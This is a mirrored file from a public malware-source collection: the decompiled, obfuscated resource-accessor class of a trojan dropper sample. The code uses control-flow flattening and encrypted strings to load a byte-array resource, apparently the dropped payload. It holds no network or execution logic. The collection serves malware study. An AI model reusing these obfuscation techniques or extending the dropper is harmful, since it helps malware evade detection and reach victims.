mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
114 lines
3.6 KiB
C#
114 lines
3.6 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: Fugi.My.Resources.Resources
|
|||
|
// Assembly: Fugi, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: BEDD3B0B-7024-4DCA-82E7-4DC806657EA8
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Dapato.adjp-c7222843a23fc031926828311c4204ba181271a1dde91017bc4695dc95b5fc46.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.CodeDom.Compiler;
|
|||
|
using System.ComponentModel;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Globalization;
|
|||
|
using System.Resources;
|
|||
|
using System.Runtime.CompilerServices;
|
|||
|
|
|||
|
namespace Fugi.My.Resources
|
|||
|
{
|
|||
|
[HideModuleName]
|
|||
|
[CompilerGenerated]
|
|||
|
[DebuggerNonUserCode]
|
|||
|
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
|||
|
[StandardModule]
|
|||
|
internal sealed class Resources
|
|||
|
{
|
|||
|
private static ResourceManager a;
|
|||
|
private static CultureInfo b;
|
|||
|
|
|||
|
static Resources() => global::b.a();
|
|||
|
|
|||
|
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
|||
|
internal static ResourceManager a
|
|||
|
{
|
|||
|
get
|
|||
|
{
|
|||
|
if ((!r.a((object) Fugi.My.Resources.Resources.a, (object) null) ? 1 : 0) == 0)
|
|||
|
{
|
|||
|
label_9:
|
|||
|
int num1 = 1151871607;
|
|||
|
int num2 = 974585617;
|
|||
|
label_2:
|
|||
|
ResourceManager resourceManager;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num2 ^= 976140357;
|
|||
|
switch (num2)
|
|||
|
{
|
|||
|
case 3688273:
|
|||
|
switch (num1)
|
|||
|
{
|
|||
|
case 3729574:
|
|||
|
resourceManager = u.a(e.a("\uEFAB\uEF98\uEF8A\uEF84\uEFC3\uEFBF\uEF88\uEF9E\uEF82\uEF98\uEF9F\uEF8E\uEF88\uEF9E", 61349), t.a((object) s.a(__typeref (Fugi.My.Resources.Resources))));
|
|||
|
num1 = 1151871609;
|
|||
|
goto label_1;
|
|||
|
case 3729575:
|
|||
|
RuntimeMethodHandle runtimeMethodHandle1 = __methodref (Fugi.My.Resources.Resources.get_a);
|
|||
|
num1 = 1151871606;
|
|||
|
goto label_1;
|
|||
|
case 3729576:
|
|||
|
goto label_13;
|
|||
|
default:
|
|||
|
goto label_6;
|
|||
|
}
|
|||
|
case 3688274:
|
|||
|
goto label_9;
|
|||
|
case 3688275:
|
|||
|
RuntimeMethodHandle runtimeMethodHandle2 = __methodref (Fugi.My.Resources.Resources.get_a);
|
|||
|
num2 = 974585622;
|
|||
|
continue;
|
|||
|
case 3688276:
|
|||
|
label_1:
|
|||
|
num1 ^= 1150337745;
|
|||
|
break;
|
|||
|
}
|
|||
|
num2 = 974585620;
|
|||
|
}
|
|||
|
label_6:
|
|||
|
int num3 = -1236333641;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch ((num3 ^ 1238154915) + 8145645)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
RuntimeMethodHandle runtimeMethodHandle = __methodref (Fugi.My.Resources.Resources.get_a);
|
|||
|
num3 = -1236333648;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
num2 = 974585623;
|
|||
|
num3 = -1236333642;
|
|||
|
continue;
|
|||
|
case 2:
|
|||
|
goto label_2;
|
|||
|
default:
|
|||
|
goto label_6;
|
|||
|
}
|
|||
|
}
|
|||
|
label_13:
|
|||
|
Fugi.My.Resources.Resources.a = resourceManager;
|
|||
|
}
|
|||
|
return Fugi.My.Resources.Resources.a;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
|||
|
internal static CultureInfo a
|
|||
|
{
|
|||
|
get => Fugi.My.Resources.Resources.b;
|
|||
|
set => Fugi.My.Resources.Resources.b = value;
|
|||
|
}
|
|||
|
|
|||
|
internal static byte[] a => (byte[]) w.a(v.a((object) Fugi.My.Resources.Resources.a, e.a("\uE0A3\uE097\uE0AA\uE082\uE082", 57514), Fugi.My.Resources.Resources.b));
|
|||
|
}
|
|||
|
}
|